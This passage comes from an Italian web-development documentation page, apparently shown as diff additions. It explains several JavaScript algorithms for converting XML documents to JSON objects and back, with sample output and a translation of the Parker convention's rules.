+      "keyValue": "function matchwo(a,b) {\n  if (a &lt; b &amp;&amp; a &lt; 0) { return 1; }\n  else { return 0; }\n}",
+      "keyAttributes": {
+        "type": "text/javascript"
+      },
+      "keyLength": 0,
+      "attributesLength": 1
+    },
+    "keyValue": null,
+    "keyLength": 2,
+    "attributesLength": 0
+  },
+  "keyValue": null,
+  "keyLength": 1,
+  "attributesLength": 0
+}
+</pre>
+
+<p>È un approccio raccomandato nel caso in cui ci sia completamente ignota la struttura del documento XML che andremo a leggere.</p>
+
+<h4 id="Algoritmo_2_una_via_un_po'_meno_prolissa">Algoritmo #2: una via un po' meno prolissa</h4>
+
+<p>Quello che segue è un altro, più semplice, metodo di conversione. Dove i <code>nodeAttributes</code> saranno annidati nello stesso oggetto contenente la trascrizione dei nodi figli sebbene, a differenza di quelli, questi saranno contrassegnati dal prefisso “<code>@</code>”. Come sopra, il contenuto di testo di ciascun nodo sarà affidato alla proprietà <code>keyValue</code>. L'argomento del costruttore potrà essere l'intero <code>Document</code>, un <code>DocumentFragment</code> o, più semplicemente, un nodo di tipo <code>Element</code> di esso.</p>
+
+<pre class="brush: js">function buildValue(sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+  return sValue;
+}
+
+function JXONData (oXMLParent) {
+  if (oXMLParent.hasChildNodes()) {
+    var sCollectedTxt = "";
+    for (var oItChild, sItKey, sItVal, nChildId = 0; nChildId &lt; oXMLParent.childNodes.length; nChildId++) {
+      oItChild = oXMLParent.childNodes.item(nChildId);
+      if ((oItChild.nodeType + 1 | 1) === 5) { sCollectedTxt += oItChild.nodeType === 3 ? oItChild.nodeValue.replace(/^\s+|\s+$/g, "") : oItChild.nodeValue; }
+      else if (oItChild.nodeType === 1 &amp;&amp; !oItChild.prefix) {
+        sItKey = oItChild.nodeName.toLowerCase();
+        sItVal = new JXONData(oItChild);
+        if (this.hasOwnProperty(sItKey)) {
+          if (this[sItKey].constructor !== Array) { this[sItKey] = [this[sItKey]]; }
+          this[sItKey].push(sItVal);
+        } else { this[sItKey] = sItVal; }
+      }
+    }
+    if (sCollectedTxt) { this.keyValue = buildValue(sCollectedTxt); }
+  }
+  if (oXMLParent.hasAttributes()) {
+    var oItAttr;
+    for (var iAttrId = 0; iAttrId &lt; oXMLParent.attributes.length; iAttrId++) {
+      oItAttr = oXMLParent.attributes.item(iAttrId);
+      this["@" + oItAttr.nodeName.toLowerCase()] = buildValue(oItAttr.nodeValue);
+    }
+  }
+}
+
+var myObject = new JXONData(doc);
+// abbiamo ottenuto il nostro albero di oggetti Javascript! provare per credere: alert(JSON.stringify(myObject));
+</pre>
+
+<p>Con questo algoritmo <a href="#XML_di_esempio" title="Go to the sample XML document">il nostro esempio</a> diventerà:</p>
+
+<pre class="brush: js">{
+  "catalog": {
+    "product": {
+      "catalog_item": [{
+        "item_number": {
+          "keyValue": "QWZ5671"
+        },
+        "price": {
+          "keyValue": 39.95
+        },
+        "size": [{
+          "color_swatch": [{
+            "keyValue": "Red",
+            "@image": "red_cardigan.jpg"
+          }, {
+            "keyValue": "Burgundy",
+            "@image": "burgundy_cardigan.jpg"
+          }],
+          "@description": "Medium"
+        }, {
+          "color_swatch": [{
+            "keyValue": "Red",
+            "@image": "red_cardigan.jpg"
+          }, {
+            "keyValue": "Burgundy",
+            "@image": "burgundy_cardigan.jpg"
+          }],
+          "@description": "Large"
+        }],
+        "@gender": "Men's"
+      }, {
+        "item_number": {
+          "keyValue": "RRX9856"
+        },
+        "discount_until": {
+          "keyValue": new Date(1995, 11, 25)
+        },
+        "price": {
+          "keyValue": 42.5
+        },
+        "size": {
+          "color_swatch": {
+            "keyValue": "Black",
+            "@image": "black_cardigan.jpg"
+          },
+          "@description": "Medium"
+        },
+        "@gender": "Women's"
+      }],
+      "@description": "Cardigan Sweater"
+    },
+    "script": {
+      "keyValue": "function matchwo(a,b) {\n  if (a &lt; b &amp;&amp; a &lt; 0) { return 1; }\n  else { return 0; }\n}",
+      "@type": "text/javascript"
+    }
+  }
+}
+</pre>
+
+<p>È un approccio possibile nel caso in cui ci sia parzialmente nota la struttura del documento XML che andremo a leggere.</p>
+
+<h4 id="Algoritmo_3_una_via_sintetica">Algoritmo #3: una via sintetica</h4>
+
+<p>Ora proveremo un altro metodo di conversione. Questo algoritmo è quello che si avvicina di più alla <a href="#Convenzione_di_Parker" title="La Convenzione di Parker">Convenzione di Parker</a>. Esso è molto simile al precedente, eccetto che per il fatto che i nodi che non contengono alcun nodo-figlio di tipo <code>Element</code>, ma solo nodi-figli di tipo <code>Text</code> e/o <code>CDATASection</code>, non saranno rappresentati da oggetti, ma direttamente da booleani, numeri, stringhe o istanze del costruttore <code>Date</code> (si veda la <a href="#Convenzione_di_Parker" title="La Convenzione di Parker">Convenzione di Parker</a>). La rappresentazione dei nodi completamente vuoti invece (cioè che non contengono né nodi di tipo <code>Element</code>, né nodi di tipo <code>Text</code>, né nodi di tipo <code>CDATASection</code>) avranno come valore predefinito <code>true</code> (su questo punto si vedano le <a href="#JXON_considerazioni" title="Considerazioni sul codice">Considerazioni sul codice</a>). Inoltre questa volta non si è ricorso a un costruttore, ma a una funzione. L'argomento della funzione potrà essere l'intero <code>Document</code>, un <code>DocumentFragment</code> o, più semplicemente, un nodo di tipo <code>Element</code> di esso.</p>
+
+<p>In molti casi questo rappresenta il metodo di conversione più pratico.</p>
+
+<pre class="brush: js">function buildValue(sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+  return sValue;
+}
+
+function getJXONData (oXMLParent) {
+  var vResult = /* put here the default value for empty nodes! */ true, nLength = 0, sCollectedTxt = "";
+  if (oXMLParent.hasAttributes()) {
+    vResult = {};
+    for (nLength; nLength &lt; oXMLParent.attributes.length; nLength++) {
+      oItAttr = oXMLParent.attributes.item(nLength);
+      vResult["@" + oItAttr.nodeName.toLowerCase()] = buildValue(oItAttr.nodeValue.replace(/^\s+|\s+$/g, ""));
+    }
+  }
+  if (oXMLParent.hasChildNodes()) {
+    for (var oItChild, sItKey, sItVal, nChildId = 0; nChildId &lt; oXMLParent.childNodes.length; nChildId++) {
+      oItChild = oXMLParent.childNodes.item(nChildId);
+      if (oItChild.nodeType === 4) { sCollectedTxt += oItChild.nodeValue; } /* nodeType is "CDATASection" (4) */
+      else if (oItChild.nodeType === 3) { sCollectedTxt += oItChild.nodeValue.replace(/^\s+|\s+$/g, ""); } /* nodeType is "Text" (3) */
+      else if (oItChild.nodeType === 1 &amp;&amp; !oItChild.prefix) { /* nodeType is "Element" (1) */
+         if (nLength === 0) { vResult = {}; }
+        sItKey = oItChild.nodeName.toLowerCase();
+        sItVal = getJXONData(oItChild);
+        if (vResult.hasOwnProperty(sItKey)) {
+          if (vResult[sItKey].constructor !== Array) { vResult[sItKey] = [vResult[sItKey]]; }
+          vResult[sItKey].push(sItVal);
+        } else { vResult[sItKey] = sItVal; nLength++; }
+      }
+     }
+  }
+  if (sCollectedTxt) { nLength &gt; 0 ? vResult.keyValue = buildValue(sCollectedTxt) : vResult = buildValue(sCollectedTxt); }
+  /* if (nLength &gt; 0) { Object.freeze(vResult); } */
+  return vResult;
+}
+
+var myObject = getJXONData(doc);
+// abbiamo ottenuto il nostro albero di oggetti Javascript! provare per credere: alert(JSON.stringify(myObject));
+</pre>
+
+<div class="note"><strong>Nota:</strong> Se si vuole <em>congelare</em> l'intero oggetto (a causa della natura "statica" di un documento XML), decommentare la stringa: <code>/* if (nLength &gt; 0) { Object.freeze(vResult); } */</code>. Il metodo <code><a href="/it/Javascript/Glossario/Oggetti_globali/Object/freeze" title="/it/Javascript/Glossario/Oggetti_globali/Object/freeze">Object.freeze</a></code> vieta l'aggiunta di nuove proprietà e la rimozione delle proprietà esistenti, congelando la loro enumerabilità, la loro configurabilità o la loro scrivibilità. In sostanza l'oggetto è reso effettivamente immutabile.</div>
+
+<p>Con questo algoritmo <a href="#XML_di_esempio" title="Go to the sample XML document">il nostro esempio</a> diventerà:</p>
+
+<pre class="brush: js">{
+  "catalog": {
+    "product": {
+      "@description": "Cardigan Sweater",
+      "catalog_item": [{
+        "@gender": "Men's",
+        "item_number": "QWZ5671",
+        "price": 39.95,
+        "size": [{
+          "@description": "Medium",
+          "color_swatch": [{
+            "@image": "red_cardigan.jpg",
+            "keyValue": "Red"
+          }, {
+            "@image": "burgundy_cardigan.jpg",
+            "keyValue": "Burgundy"
+          }]
+        }, {
+          "@description": "Large",
+          "color_swatch": [{
+            "@image": "red_cardigan.jpg",
+            "keyValue": "Red"
+          }, {
+            "@image": "burgundy_cardigan.jpg",
+            "keyValue": "Burgundy"
+          }]
+        }]
+      }, {
+        "@gender": "Women's",
+        "item_number": "RRX9856",
+        "discount_until": new Date(1995, 11, 25),
+        "price": 42.5,
+        "size": {
+          "@description": "Medium",
+          "color_swatch": {
+            "@image": "black_cardigan.jpg",
+            "keyValue": "Black"
+          }
+        }
+      }]
+    },
+    "script": {
+      "@type": "text/javascript",
+      "keyValue": "function matchwo(a,b) {\n  if (a &lt; b &amp;&amp; a &lt; 0) { return 1; }\n  else { return 0; }\n}"
+    }
+  }
+}
+</pre>
+
+<p>È un approccio raccomandato nel caso in cui ci sia nota la struttura del documento XML che andremo a leggere.</p>
+
+<h4 id="Algoritmo_4_una_via_davvero_minimalista">Algoritmo #4: una via davvero minimalista</h4>
+
+<p>La seguente rappresenta un'altra possibile via di conversione. Anch'essa è molto vicina alla <a href="#Convenzione_di_Parker" title="La Convenzione di Parker">Convenzione di Parker</a>. Con questo algoritmo la rappresentazione dei nodi di tipo <code>Element</code> che contengono a loro volta sullo stesso piano nodi-figli di tipo <code>Element</code> insieme con nodi-figli di tipo <code>Text</code> e/o di tipo <code>CDATASection</code> verrà resa per mezzo di istanze dei costruttori <code>Boolean</code>, <code>Number</code>, <code>String</code>, e <code>Date</code>. E di conseguenza la trascrizione di ogni eventuale nodo-figlio sarà annidata in oggetti di questo tipo.</p>
+
+<p>Per esempio;</p>
+
+<pre class="brush: xml">&lt;employee type="usher"&gt;John Smith&lt;/employee&gt;
+&lt;manager&gt;Lisa Carlucci&lt;/manager&gt;
+</pre>
+
+<p>diventerà</p>
+
+<pre class="brush: js">var myObject = {
+  "employee": new String("John Smith"),
+  "manager": "Lisa Carlucci"
+};
+
+myObject.employee["@type"] = "usher";
+
+// test
+
+alert(myObject.manager); // "Lisa Carlucci"
+alert(myObject.employee["@type"]); // "usher"
+alert(myObject.employee); // "John Smith"
+</pre>
+
+<p>Come per il terzo algoritmo, i nodi che non contengono alcun nodo-figlio di tipo <code>Element</code>, ma solo nodi-figli di tipo <code>Text</code> e/o <code>CDATASection</code>, non saranno rappresentati da oggetti, ma direttamente da booleani, numeri, stringhe (valori primitivi) o da istanze del costruttore <code>Date</code> (si veda la <a href="#Convenzione_di_Parker" title="La Convenzione di Parker">Convenzione di Parker</a>). Come per il terzo algoritmo, non si è usato un costruttore, ma una semplice funzione. L'argomento della funzione potrà essere l'intero <code>Document</code>, un <code>DocumentFragment</code> o, più semplicemente, un nodo di tipo <code>Element</code> di esso.</p>
+
+<pre class="brush: js">function buildValue (sValue) {
+  if (/^\s*$/.test(sValue)) { return null; }
+  if (/^(true|false)$/i.test(sValue)) { return sValue.toLowerCase() === "true"; }
+  if (isFinite(sValue)) { return parseFloat(sValue); }
+  if (isFinite(Date.parse(sValue))) { return new Date(sValue); }
+  return sValue;
+}
+
+function objectify (vValue) {
+  if (vValue === null) {
+    return new (function() {
+      this.toString = function() { return "null"; }
+      this.valueOf = function() { return null; }
+    })();
+  }
+  return vValue instanceof Object ? vValue : new vValue.constructor(vValue);
+}
+
+var aTmpEls = []; // loaded element nodes cache
+
+function getJXONData (oXMLParent) {
+  var  sItKey, sItVal, vResult, nLength = 0, nLevelStart = aTmpEls.length,
+       nChildren = oXMLParent.hasChildNodes() ? oXMLParent.childNodes.length : 0, sCollectedTxt = "";
+
+  for (var oItChild, nChildId = 0; nChildId &lt; nChildren; nChildId++) {
+    oItChild = oXMLParent.childNodes.item(nChildId);
+    if (oItChild.nodeType === 4) { sCollectedTxt += oItChild.nodeValue; } /* nodeType is "CDATASection" (4) */
+    else if (oItChild.nodeType === 3) { sCollectedTxt += oItChild.nodeValue.replace(/^\s+|\s+$/g, ""); } /* nodeType is "Text" (3) */
+    else if (oItChild.nodeType === 1 &amp;&amp; !oItChild.prefix) { aTmpEls.push(oItChild); } /* nodeType is "Element" (1) */
+  }
+
+  var nLevelEnd = aTmpEls.length, vBuiltVal = buildValue(sCollectedTxt);
+
+  if (oXMLParent.hasAttributes()) {
+    vResult = objectify(vBuiltVal);
+    for (nLength; nLength &lt; oXMLParent.attributes.length; nLength++) {
+      oItAttr = oXMLParent.attributes.item(nLength);
+      vResult["@" + oItAttr.nodeName.toLowerCase()] = buildValue(oItAttr.nodeValue.replace(/^\s+|\s+$/g, ""));
+    }
+  } else if (nLevelEnd &gt; nLevelStart) { vResult = objectify(vBuiltVal); }
+
+  for (var nElId = nLevelStart; nElId &lt; nLevelEnd; nElId++) {
+    sItKey = aTmpEls[nElId].nodeName.toLowerCase();
+    sItVal = getJXONData(aTmpEls[nElId]);
+    if (vResult.hasOwnProperty(sItKey)) {
+    if (vResult[sItKey].constructor !== Array) { vResult[sItKey] = [vResult[sItKey]]; }
+      vResult[sItKey].push(sItVal);
+    } else { vResult[sItKey] = sItVal; nLength++; }
+  }
+
+  aTmpEls.length = nLevelStart;
+
+  if (nLength === 0) { vResult = sCollectedTxt ? vBuiltVal : /* put here the default value for empty nodes: */ true; }
+  /* else { Object.freeze(vResult); } */
+
+  return vResult;
+}
+
+var myObject = getJXONData(doc);
+alert(myObject.catalog.product.catalog_item[1].size.color_swatch["@image"]); // "black_cardigan.jpg"
+alert(myObject.catalog.product.catalog_item[1].size.color_swatch); // "Black" !</pre>
+
+<div class="note"><strong>Nota:</strong> Se si vuole <em>congelare</em> l'intero oggetto (a causa della natura "statica" di un documento XML), decommentare la stringa: <code>/* else { Object.freeze(vResult); } */</code> . Il metodo <code><a href="/it/Javascript/Glossario/Oggetti_globali/Object/freeze" title="/it/Javascript/Glossario/Oggetti_globali/Object/freeze">Object.freeze</a></code> vieta l'aggiunta di nuove proprietà e la rimozione delle proprietà esistenti, congelando la loro enumerabilità, la loro configurabilità o la loro scrivibilità. In sostanza l'oggetto è reso effettivamente immutabile.</div>
+
+<p>È un approccio possibile nel caso in cui ci sia nota la struttura del documento XML che andremo a leggere.</p>
+
+<h4 id="Algoritmi_inversi">Algoritmi inversi</h4>
+
+<p>È possibile invertire gli algoritmi qui proposti in maniera tale da ottenere un nuovo documento XML a partire da un albero di oggetti Javascript.</p>
+
+<p>Per semplicità proporremo qui un unico esempio, che in un unico codice rappresenta l'inversione degli algoritmi <a href="#Algoritmo_JXON_2" title="Vai all'algoritmo JXON #2">#2</a> e <a href="#Algoritmo_JXON_3" title="Vai all'algoritmo JXON #3">#3</a>. È molto semplice partire da esso per creare gli inversi anche degli algoritmi <a href="#Algoritmo_JXON_1" title="Vai all'algoritmo JXON #1">#1</a> e <a href="#Algoritmo_JXON_4" title="Vai all'algoritmo JXON #4">#4</a>, qualora se ne abbia la necessità.</p>
+
+<pre class="brush: js">function createXML (oJXONObj) {
+  function loadObj (oParentObj, oParentEl) {
+    var nSameIdx, vValue, oChild;
+    for (var sName in oParentObj) {
+      vValue = oParentObj[sName];
+      if (sName === "keyValue") {
+        if (vValue !== null &amp;&amp; vValue !== true) { oParentEl.appendChild(oNewDoc.createTextNode(String(vValue))); }
+      } else if (sName.charAt(0) === "@") {
+        oParentEl.setAttribute(sName.slice(1), vValue);
+      } else {
+        oChild = oNewDoc.createElement(sName);
+        if (vValue.constructor === Date) {
+          oChild.appendChild(oNewDoc.createTextNode(vValue.toGMTString()));
+        } else if (vValue.constructor === Array) {
+          for (nSameIdx = 0; nSameIdx &lt; vValue.length; nSameIdx++) { loadObj(vValue[nSameIdx], oChild); }
+        } else if (vValue instanceof Object) {
+          loadObj(vValue, oChild);
+        } else if (vValue !== null &amp;&amp; vValue !== true) {
+          oChild.appendChild(oNewDoc.createTextNode(vValue.toString()));
+        }
+        oParentEl.appendChild(oChild);
+      }
+    }
+  }
+  var oNewDoc = document.implementation.createDocument("", "", null);
+  loadObj(oJXONObj, oNewDoc);
+  return oNewDoc;
+}
+
+var newDoc = createXML(myObject);
+// abbiamo ottenuto il nostro documento! provare per credere: alert((new XMLSerializer()).serializeToString(newDoc));
+</pre>
+
+<div class="note"><strong>Nota:</strong> Con questo codice le istanze di <code>Date</code> eventualmente presenti verranno convertite in stringhe attraverso l'invocazione del metodo <code>toGMTString()</code>. Nulla vieta l'utilizzo di qualsiasi altro metodo di conversione. Inoltre le proprietà dell'albero con valore uguale a <code>true</code> verranno convertite in elementi privi di nodi di testo (si vedano le <a href="#JXON_considerazioni" title="Considerazioni sul codice">Considerazioni sul codice</a>).</div>
+
+<p>Si tratta di una buona soluzione nel caso si voglia automatizzare la creazione di un documento XML. È una cattiva scelta invece nel caso in cui si voglia ricostruire un documento XML già precedentemente convertito in JSON. Sebbene la conversione sia molto fedele (eccetto che per i nodi di tipo <code>CDATASection</code>, che verranno riconvertiti in nodi di tipo <code>Text</code>), si tratta di un processo inutilmente dispendioso. Nel caso infatti in cui il nostro scopo sia quello di modificare un documento XML, si raccomanda vivamente di lavorare su di esso invece che di crearne di nuovi.</p>
+
+<h4 id="La_Convenzione_di_Parker">La Convenzione di Parker</h4>
+
+<p>Le funzioni precedentemente elencate per la conversione di un documento XML in JSON (spesso chiamate «algoritmi JXON») sono più o meno liberamente basate sulla Convenzione di Parker. È chiamata “Convenzione di Parker”, in opposizione alla “Convenzione di BadgerFish”, sulla falsa riga del fumetto di Cuadrado <em>Parker &amp; Badger</em>. Per ulteriori approfondimenti si veda anche la <a class="external" href="http://badgerfish.ning.com/" title="BadgerFish convention">Convenzione di BadgerFish</a>.</p>
+
+<p>La seguente è una traduzione dall'inglese del <em>paper</em> originale della Convenzione di Parker (versione 0.4), dalla pagina “<a class="external" href="http://code.google.com/p/xml2json-xslt/wiki/TransformingRules" title="TransformingRules – xml2json-xslt">TransformingRules</a>” del sito del progetto <a class="external" href="http://code.google.com/p/xml2json-xslt/" title="xml2json-xslt project">xml2json-xslt</a>.</p>
+
+<p>Questa convenzione è stata scritta per regolamentare la conversione in <a href="/it/JSON" title="/it/JSON">JSON</a> da parte di <a href="/it/XSLT" title="/it/XSLT">XSLT</a>, di conseguenza alcune parti di essa sono futili per Javascript.</p>
+
+<h5 id="Conversione_in_JSON">Conversione in JSON</h5>
+
+<ol>
+ <li>
+  <p>L'elemento <code>root</code> verrà assorbito, poiché ce ne può essere soltanto uno:</p>
+
+  <pre class="brush: xml">&lt;root&gt;test&lt;/root&gt;</pre>
+
+  <p>diventerà</p>
+
+  <pre class="brush: js">"test"
+</pre>
+ </li>
+ <li>
+  <p>I nomi degli elementi diventeranno proprietà di oggetti:</p>
+
+  <pre class="brush: xml">&lt;root&gt;&lt;name&gt;Xml&lt;/name&gt;&lt;encoding&gt;ASCII&lt;/encoding&gt;&lt;/root&gt;</pre>
+
+  <p>diventerà</p>
+
+  <pre class="brush: js">{
+  "name": "Xml",
+  "encoding": "ASCII"
+}
+</pre>
+ </li>
+ <li>
+  <p>I numeri saranno riconosciuti come tali (sia interi che decimali):</p>
+
+  <pre class="brush: xml">&lt;root&gt;&lt;age&gt;12&lt;/age&gt;&lt;height&gt;1.73&lt;/height&gt;&lt;/root&gt;
+</pre>
+
+  <p>diventerà</p>
+
+  <pre class="brush: js">{
+  "age": 12,
+  "height": 1.73
+}
+</pre>
+ </li>
+ <li>
+  <p>I booleani saranno riconosciuti come tali (<em>case insensitive</em>):</p>
+
+  <pre class="brush: xml">&lt;root&gt;&lt;checked&gt;True&lt;/checked&gt;&lt;answer&gt;FALSE&lt;/answer&gt;&lt;/root&gt;</pre>
+
+  <p>diventerà</p>
+
+  <pre class="brush: js">{
+  "checked": true,
+  "answer": false
+}
+</pre>
+ </li>
+ <li>
+  <p>Le stringhe avranno degli <em>escape</em> quando ce ne sarà la necessità:</p>
+
+  <pre class="brush: xml">&lt;root&gt;Quote: &amp;quot; New-line:
+&lt;/root&gt;
+</pre>
+
+  <p>diventerà</p>
+
+  <pre class="brush: js">"Quote: \" New-line:\n"
+</pre>
+ </li>
+ <li>
+  <p>Gli elementi vuoti diventeranno proprietà con valore nullo (<code>null</code>):</p>
+
+  <pre class="brush: xml">&lt;root&gt;&lt;nil/&gt;&lt;empty&gt;&lt;/empty&gt;&lt;/root&gt;</pre>
+
+  <p>diventerà</p>
+
+  <pre class="brush: js">{
+  "nil": null,
+  "empty": null
+}
+</pre>
+ </li>
+ <li>
+  <p>If all sibling elements have the same name, they become an array</p>
+
+  <pre class="brush: xml">&lt;root&gt;&lt;item&gt;1&lt;/item&gt;&lt;item&gt;2&lt;/item&gt;&lt;item&gt;three&lt;/item&gt;&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js">[1, 2, "three"]
+</pre>
+ </li>
+ <li>
+  <p>Mixed mode text-nodes, comments and attributes get absorbed:</p>
+
+  <pre class="brush: xml">&lt;root version="1.0"&gt;testing&lt;!--comment--&gt;&lt;elementtest="true"&gt;1&lt;/element&gt;&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js">{ "element": true }
+</pre>
+ </li>
+ <li>
+  <p>Namespaces get absorbed, and prefixes will just be part of the property name:</p>
+
+  <pre class="brush: xml">&lt;root xmlns:ding="http://zanstra.com/ding"&gt;&lt;ding:dong&gt;binnen&lt;/ding:dong&gt;&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js">{ "ding:dong" : "binnen" }
+</pre>
+ </li>
+</ol>
+
+<div class="note"><strong>Note:</strong> Our algorithms comply with the points 2, 3, 4 and 7. The third and the fourth algorithm comply also with the point 6 (but <code>true</code> instead of <code>null</code> – si vedano le <a href="#JXON_considerazioni" title="Considerazioni sul codice">Considerazioni sul codice</a>). The point 5 is automatically managed by the Javascript method <code><a href="/it/Javascript/Glossario/Oggetti_globali/JSON/stringify" title="/it/Javascript/Glossario/Oggetti_globali/JSON/stringify">JSON.stringify</a></code>.</div>
+
+<h5 id="Appendice_Javascript">Appendice Javascript</h5>
+
+<p>All the same as the JSON translation, but with these extra's:</p>
+
+<ol>
+ <li>
+  <p>Property names are only escaped when necessary</p>
+
+  <pre class="brush: xml">&lt;root&gt;&lt;while&gt;true&lt;/while&gt;&lt;wend&gt;false&lt;/wend&gt;&lt;only-if/&gt;&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js">{
+  "while": true,
+  wend: false,
+  "only-if": null
+}
+</pre>
+ </li>
+ <li>
+  <p>Within a string, closing elements "&lt;/" are escaped as "&lt;\/"</p>
+
+  <pre class="brush: xml">&lt;root&gt;&lt;![CDATA[&lt;script&gt;alert("YES");&lt;/script&gt;]]&gt;&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js">{ script: "&lt;script&gt;alert(\"YES\")&lt;\/script&gt;" }
+</pre>
+ </li>
+ <li>
+  <p>Dates are created as <code>new Date()</code> objects</p>
+
+  <pre class="brush: xml">&lt;root&gt;2006-12-25&lt;/root&gt;</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js">new Date(2006, 12 - 1, 25)
+</pre>
+ </li>
+ <li>
+  <p>Attributes and comments are shown as comments (for testing-purposes):</p>
+
+  <pre class="brush: xml">&lt;!--testing--&gt;&lt;root&gt;&lt;test version="1.0"&gt;123&lt;/test&gt;&lt;/root&gt;
+</pre>
+
+  <p>becomes</p>
+
+  <pre class="brush: js">/* testing */ { test /* @version = "1.0" */ : 123}
+</pre>
+ </li>
+ <li>
+  <p>A bit of indentation is done, to keep things ledgible</p>
+ </li>
+</ol>
+
+<div class="note"><strong>Note:</strong> Our algorithms comply with the point 3 (but without month decrease). The points 1 and 2 are automatically managed by the Javascript method <code><a href="/it/Javascript/Glossario/Oggetti_globali/JSON/stringify" title="/it/Javascript/Glossario/Oggetti_globali/JSON/stringify">JSON.stringify</a></code>.</div>
+
+<h4 id="In_sintesi">In sintesi</h4>
+
+<p>Prendiamo <a href="#Algoritmo_JXON_3" title="Vai all'algoritmo JXON #3">il terzo algoritmo</a> come l'algoritmo di conversione JXON più rappresentativo. Un singolo nodo XML di tipo <code>Element</code> può avere in totale otto differenti configurazioni a seconda di quello che contiene. Esso può essere:</p>
+
+<ol>
+ <li>un elemento vuoto,</li>
+ <li>un elemento contenente al suo interno solamente un nodo di testo,</li>
+ <li>un elemento vuoto ma contenente attributi,</li>
+ <li>un elemento con attributi contenente al suo interno solamente un nodo di testo,</li>
+ <li>un elemento contenente ulteriori elementi-figli con nomi diversi,</li>
+ <li>un elemento contenente ulteriori elementi-figli con nomi uguali,</li>
+ <li>un elemento contenente ulteriori elementi-figli e un unico nodo di testo (testo <em>contiguo</em>),</li>
+ <li>un elemento contenente ulteriori elementi-figli e più nodi di testo (testo <em>non contiguo</em>).</li>
+</ol>
+
+<p>The following table shows the corresponding conversion patterns between XML and JSON according to the <a href="#Algoritmo_JXON_3" title="Vai all'algoritmo JXON #3">third algorithm</a>.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th style="background: #faf9e2; color: #5d5636; text-align: center;"><strong>Case</strong></th>
+   <th style="background: #faf9e2; color: #5d5636; text-align: center;"><strong>XML</strong></th>
+   <th style="background: #faf9e2; color: #5d5636; text-align: center;"><strong>JSON</strong></th>
+   <th style="background: #faf9e2; color: #5d5636; text-align: center;"><strong>Javascript access</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="background: #f6f6f6;">1</td>
+   <td style="background: #f6f6f6;"><code>&lt;animal/&gt;</code></td>
+   <td style="background: #f6f6f6;"><code>"animal": true</code></td>
+   <td style="background: #f6f6f6;"><code>myObject.animal</code></td>
+  </tr>
+  <tr>
+   <td style="background: #e7e5dc;">2</td>
+   <td style="background: #e7e5dc;"><code>&lt;animal&gt;text&lt;/animal&gt;</code></td>
+   <td style="background: #e7e5dc;"><code>"animal": "text"</code></td>
+   <td style="background: #e7e5dc;"><code>myObject.animal</code></td>
+  </tr>
+  <tr>
+   <td style="background: #f6f6f6;">3</td>
+   <td style="background: #f6f6f6;"><code>&lt;animal name="value" /&gt;</code></td>
+   <td style="background: #f6f6f6;"><code>"animal": {"@name": "value"}</code></td>
+   <td style="background: #f6f6f6;"><code>myObject.animal["@name"]</code></td>
+  </tr>
+  <tr>
+   <td style="background: #e7e5dc;">4</td>
+   <td style="background: #e7e5dc;"><code>&lt;animal name="value"&gt;text&lt;/animal&gt;</code></td>
+   <td style="background: #e7e5dc;"><code>"animal": { "@name": "value", "keyValue": "text" }</code></td>
+   <td style="background: #e7e5dc;"><code>myObject.animal["@name"]</code>, <code>myObject.animal.keyValue</code></td>
+  </tr>
+  <tr>
+   <td style="background: #f6f6f6;">5</td>
+   <td style="background: #f6f6f6;"><code>&lt;animal&gt; &lt;dog&gt;Charlie&lt;/dog&gt; &lt;cat&gt;Deka&lt;/cat&gt; &lt;/animal&gt;</code></td>
+   <td style="background: #f6f6f6;"><code>"animal": { "dog": "Charlie", "cat": "Deka" }</code></td>
+   <td style="background: #f6f6f6;"><code>myObject.animal.dog</code>, <code>myObject.animal.cat</code></td>
+  </tr>
+  <tr>
+   <td style="background: #e7e5dc;">6</td>
+   <td style="background: #e7e5dc;"><code>&lt;animal&gt; &lt;dog&gt;Charlie&lt;/dog&gt; &lt;dog&gt;Mad Max&lt;/dog&gt; &lt;/animal&gt;</code></td>
+   <td style="background: #e7e5dc;"><code>"animal": { "dog": ["Charlie", "Mad Max"] }</code></td>
+   <td style="background: #e7e5dc;"><code>myObject.animal.dog[0]</code>, <code>myObject.animal.dog[1]</code></td>
+  </tr>
+  <tr>
+   <td style="background: #f6f6f6;">7</td>
+   <td style="background: #f6f6f6;"><code>&lt;animal&gt; in my house &lt;dog&gt;Charlie&lt;/dog&gt; &lt;/animal&gt;</code></td>
+   <td style="background: #f6f6f6;"><code>"animal": { "keyValue": "in my house", "dog": "Charlie" }</code></td>
+   <td style="background: #f6f6f6;"><code>myObject.animal.keyValue</code>, <code>myObject.animal.dog</code></td>
+  </tr>
+  <tr>
+   <td style="background: #e7e5dc;">8</td>
+   <td style="background: #e7e5dc;"><code>&lt;animal&gt; in my ho &lt;dog&gt;Charlie&lt;/dog&gt; use &lt;/animal&gt;</code></td>
+   <td style="background: #e7e5dc;"><code>"animal": { "keyValue": "in my house", "dog": "Charlie" }</code></td>
+   <td style="background: #e7e5dc;"><code>myObject.animal.keyValue</code>, <code>myObject.animal.dog</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Considerazioni_sul_codice">Considerazioni sul codice</h4>
+
+<p>In these examples we chose to use a property named <code>keyValue</code> for the text content. The lack of standars for XML to JSON conversion leads developers to choose several property names for the text content of XML <code>Element</code> nodes which contain also other child nodes. Sometimes it is used a property called <code>$</code>. Other times it is used a property called <code>#text</code>. In the algorithms proposed here you can easily change this name, depending on your needs.</p>
+
+<p>The choice of using a <code>true</code> value instead of a <code>null</code> value to represent empty nodes is due to the fact that when in an XML document there is an empty node the reason is often to express a <code>Boolean</code> content, as in this case:</p>
+
